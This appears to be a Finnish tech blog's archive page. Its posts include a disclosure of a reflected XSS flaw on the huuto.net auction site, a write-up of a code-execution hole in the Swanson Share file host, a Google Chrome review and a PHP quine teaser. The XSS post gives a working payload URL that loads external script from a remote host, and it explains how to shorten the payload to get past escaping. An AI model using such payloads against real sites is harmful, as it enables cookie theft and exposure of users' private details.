Archive for the 'Tietokoneet' Category

Huuto.netissä XSS-haavoittuvuus

Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi – huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä – varastaa sivun käyttäjien evästeitä.

Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta

Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.
Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa ‘<script src=http://domain.com/script.js></script>’. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa ‘<script src=osoite’-muotoisen script-tagin onnistuneesti.

Nyt XSS on siis muotoa ‘fbuser=<script src=http://domain.com/script.js’. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).
Nyt siis URL on muotoa ‘huuto.net/fi/showfeedback.php3?fbuser=<script src=//domain.com/script.js’.

Proof-of-concept löytyy osoitteesta http://xi7.org/t.js. Käytännössä koodia käytettäisiin seuraavasti: http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js. Koodi ei varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.

SkyFire avoimeen betaan!

Niille, jotka ovat seuranneet WindowsMobile-laitteiden selaintilannetta viimeisen kuuden kuukauden aikana on SkyFire varmasti tuttu nimi. Eilen Skyfire Labs virallisesti lopetti suljetun betavaiheen ja avasi betan kaiken kansan kokeiltavaksi.
Ohjelman lataaminen ja käyttäminen vaatii edelleen virallisesti yhdysvaltalaisen kännykkänumeron, mutta ainakin tällä hetkellä rajoituksen ohittaminen on äärettömän helppoa

Continue reading ‘SkyFire avoimeen betaan!’

Ensikosketus Google Chromeen

Google Chrome julkaistiin tänään. Kyseessä on Googlen kehittämä webbiselain, joka käyttää Applen WebKit-moottoria sivujen muodostamiseen. Olen nyt jonkin aikaa selaimen kanssa puuhaillut, ja ajattelin kirjoitella hieman ensivaikutelmia

Selain todella on nopea. Välilehdet aukeavat erittäin sutjakkaasti ja itse selainkin käynnistyy todella vauhdikkaasti. Toisaalta vertailukohta on huono, koska omassa Firefoxissani on melkoinen liuta laajennuksia, joten sen käynnistymisajat eivät varmasti ole optimaalit.
Toinen asia joka Chromessa heti pistää silmään on käyttöliittymän koruton siisteys. Selaimessa ei ole lainkaan perinteistä tekstivalikkoa, vaan ainoat kaksi valikkoa löytyvät painikkeista “osoite”kentänt oikealta puolelta. Tämä tuleekin olemaan asia josta vannoutuneet IE, Opera ja Safari-fanipojat varmasti tulevat kitisemään.. Omaan makuun systeemi sopii oikein hyvin. Kiitettävästi ei ole tarvinnut valikkoja juurikaan rassata; pikanäppäimet ovat vanhat tutut, ja muun käyttöliittymän kuvakieli on selkeää ja loogista.

Mainitsinkin jo “osoite”kentän. Kyseessä on Firefox 3:stakin tuttu “awesomebar”, PCP-höyryissä. Kun palkkiin alkaa näppäimistöllä jotain naputtelemaan, pomppaa listan alkuun ehdotuksiksi kirjanmerkkien ja sivuhistorian sivujen lisäksi googlen I’m feeling lucky-vastaus ja linkki oletushakukoneen hakutuloksiin kirjoitetusta tekstistä.
Hyvä kun oletushakukone tuli puheeksi. Yllättäen tehdasasetuksena hakukone on Google, mutta Chrome tarjoutuu heti ensimmäiseksi asennuksen jälkeen vaihtamaan käyttäjän suosikkihakukoneen selaimen-käyttöön. Melkein saman tekee toki IE:kin, mutta Google on pitänyt huolta siitä, ettei selain liiaksi turputa julkaisijansa hakukonetta

Selaimeen on luonnollisesti sisäänrakennettu Googlen Gears, ja nopeiden testien perusteella Wordpressissä ja Remember The Milkissä, selain äityy vielä entistä “vastaavammaksi” (mikä on oikea käännös lontoon “responsiveness”-sanalle?), tai siis.. parantaa vasteaikojaan :D

Myös konepellin alla on mukavia ominaisuuksia:

  • WebKit sivunmuodostusmoottori. Selain läpäisee ACID2-testin täydellisesti ja on äärimmäisen nopea piirtämään sivuja
  • Tabikohtaiset prosessit. Jokainen välilehti suoritetaan omassa prosessissaan, joten jos sattuu eksymään ikävälle hyökkäyssivulle, tai JavaScript-ohjelmaa testatessa tekee hieman isomman mokan, ei koko selain (teoriassa) kuopsahda nurin, ainoastaan kyseinen välilehti. Järjestelmä toimi omissa testauksissa, mutta vaikea tietysti näin lyhyellä käytöllä sanoa mitään varmaa
  • Incognito-tila. Suoraan ohjelman tiedosto-valikosta löytyy toiminto joka avaa uuden, selkeästi merkityn, ikkunan ns. Incognito-tilasssa, jossa selain ei tallenna mitään tietoa selailusta tietokoneelle. Sivuhistoria, syötetyt lomaketiedot ja salasanat poistetaan kun ikkuna suljetaan. Tämä on erittäin kätevää, koska näin ei tarvitse poistaa hyödyllisä tallennettuja lomaketietoja, vain koska tahtoo piilottaa selaimen hakuhistoriasta vaimon lahjayllätyksen :D
  • Googlen mukaan, selain sisältää aivan uusia JavaScript-systeemejä, jotka tulevaisuudessa voivat avata aivan uusia mahdollisuuksia verkkoohjelmistokehittäjille. Vaikka tämä onkin itselleni koko selaimen kiinnostavin ominaisuus (en voi ainakaan vielä ottaa Chromea oletusselaimekseni, siitä myöhemmin), mutten ole ehtinyt asiaan vielä tarkemmin perehtyä. Saatan kirjoitella aiheesta lisää jos näin teen.

Kaikenkaikkiaan selain on ensimmäiseksi julkiseksi versioksi ERINOMAINEN, ja odotan innolla mitä tulevaisuus tuo Chromelle. En kuitenkaan ainakaan vielä voisi siirtyä Firefoxista Chromeen, vaikka Googlen selain erittäin siististi kopioikin kaiken tarvittavan ongelmitta sisäänsä (tallennetut salasanat, kirjanmerkit ym.). Käytän melko suurta määrää laajennuksia Firefoxissa, ja vaikka voisinkin ns. “hätätilanteessa” elää ilman niitä, jos saan valita: en tahdo.
Googlella on kuitenkin suuria suunnitelmia Chromen suhteen, ja jos siihenkin saadaan joustava laajennustuki, voisin hyvinkin vaihtaa uuteen selaimeen.

Suosittelen kaikkia Windows-käyttäjiä ainakin kokeilemaan Chromea. Selain on hurjan vauhdikas, helppokäyttöinen ja selkeä, ja jos siirtyy esimerkiksi IE:n puolelta, ei pienen totuttelun jälkeen jää varmasti kaipaamaan mitään. Firefoxin ja Operan käyttäjät huomaavat varmasti puuttuvia ominaisuuksia, mutta haluan uskoa että tähänkin on tulossa vielä parannusta. Katsotaan mitä Google saa aikaiseksi selainmarkkinoilla. Kovin huonosti se ei ole oikein millään alalla vielä pärjännyt :P

chrome_1.png
chrome_2.png
chrome_3.png

PHP-Quine

Flunssakohmeloissa päätin jostain syystä tänään kyhätä kasaan quinen PHP:ssä. Jos käsite ei ole entuudestaan tuttu, Wikipediasta löytyy melko kökkö artikkeli aiheesta.

Continue reading ‘PHP-Quine’

Swanson Share vieraan koodin suoritus

Seloste

Julkaisijan web-sivustolta:

Swanson Share is a file hoster that allows you to upload a file
that can only be downloaded once before it is deleted.
All downloads are secured, so you can use Swanson Share to distribute digital downloads.

Ongelma

Skripti ei todellakaan suojaa ladattuja tiedostoja, melkeinpä päinvastoin. Kaikki tiedostot tallennetaan julkiseen alikansioon ja tiedostonimen eteen lisätään muutama satunnainen numero, eli puhuroidun (hihihihihi) tiedoston voi suorittaa navigoimalla tähän kansioon ja valitsemalla halutun tiedoston.
Mikä vielä pahempaa, kun tallennettu tiedosto ladataan palvelimelta, skripti käyttää php:n include()-functiota tiedoston sisällön syöttämiseksi selaimelle, joten kaikki ladattavan tiedoston sisältämä php-koodi suoritetaan!

Continue reading ‘Swanson Share vieraan koodin suoritus’